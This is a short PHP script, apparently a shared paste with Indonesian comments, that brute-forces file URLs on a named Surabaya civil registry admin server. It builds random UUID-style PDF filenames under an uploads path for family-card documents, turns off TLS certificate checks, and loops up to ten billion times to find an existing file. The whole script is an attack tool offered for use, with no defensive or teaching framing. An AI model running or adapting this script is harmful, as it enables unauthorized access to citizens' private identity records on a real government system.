Untitled

<?php
function check($url, $respond) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$exec = curl_exec($ch);
if(strpos($exec, $respond) !== FALSE) {
echo "Not Found\n";
} else {
echo "Found\n";
exit();
}
}
function generateRandomString($length) {
    return substr(str_shuffle(str_repeat($x='1234567890abcdefghijklmnopqrstuvwxyz', ceil($length/strlen($x)) )),1,$length);
}
#setPanjangRandDisini#
$panjangrand = "8";
$panjangrand1 = "4";
$panjangrand2 = "4";
$panjangrand3 = "4";
$panjangrand4 = "12";
if(empty($panjangrand)) {
echo "PanjangRand Kosong, Silahkan Ganti Di Line 19\n";
exit();
}
#setBerapaKaliDiBrute#
$total = "9999999999";
if(empty($total)) {
echo "Total BruteForce Kosong, silahan Ganti Di Line 25\n";
exit();
}
#SetURLDisini#
$url1 = 'https://admin.lampid.disdukcapilsurabaya.id/static/uploads/kk';
if(empty($url1)) {
echo "URL Kosong, silahan Ganti Di Line 31\n";
exit();
}
#SetRespondDisini#
$respond = 'This page could not be found';
if(empty($respond)) {
echo "Respond 404 Kosong, silahan Ganti Di Line 37\n";
exit();
}
echo "Memulai BruteForce [$url1] Dengan Panjang [$panjangrand]|[$panjangrand1]|[$panjangrand2]|[$panjangrand3]|[$panjangrand4] sebanyak [".$total."x]\n";
echo "Respond 404 : $respond\n";
$start = 1;
for($i=1;$i<$total+1;$i++) {
$url = ''.$url1.'_'.generateRandomString($panjangrand).'_'.generateRandomString($panjangrand1).'_'.generateRandomString($panjangrand2).'_'.generateRandomString($panjangrand3).'_'.generateRandomString($panjangrand4).'.pdf';
echo "[$start/$total] $url => ";
echo check($url, $respond);
$start++;
}
?>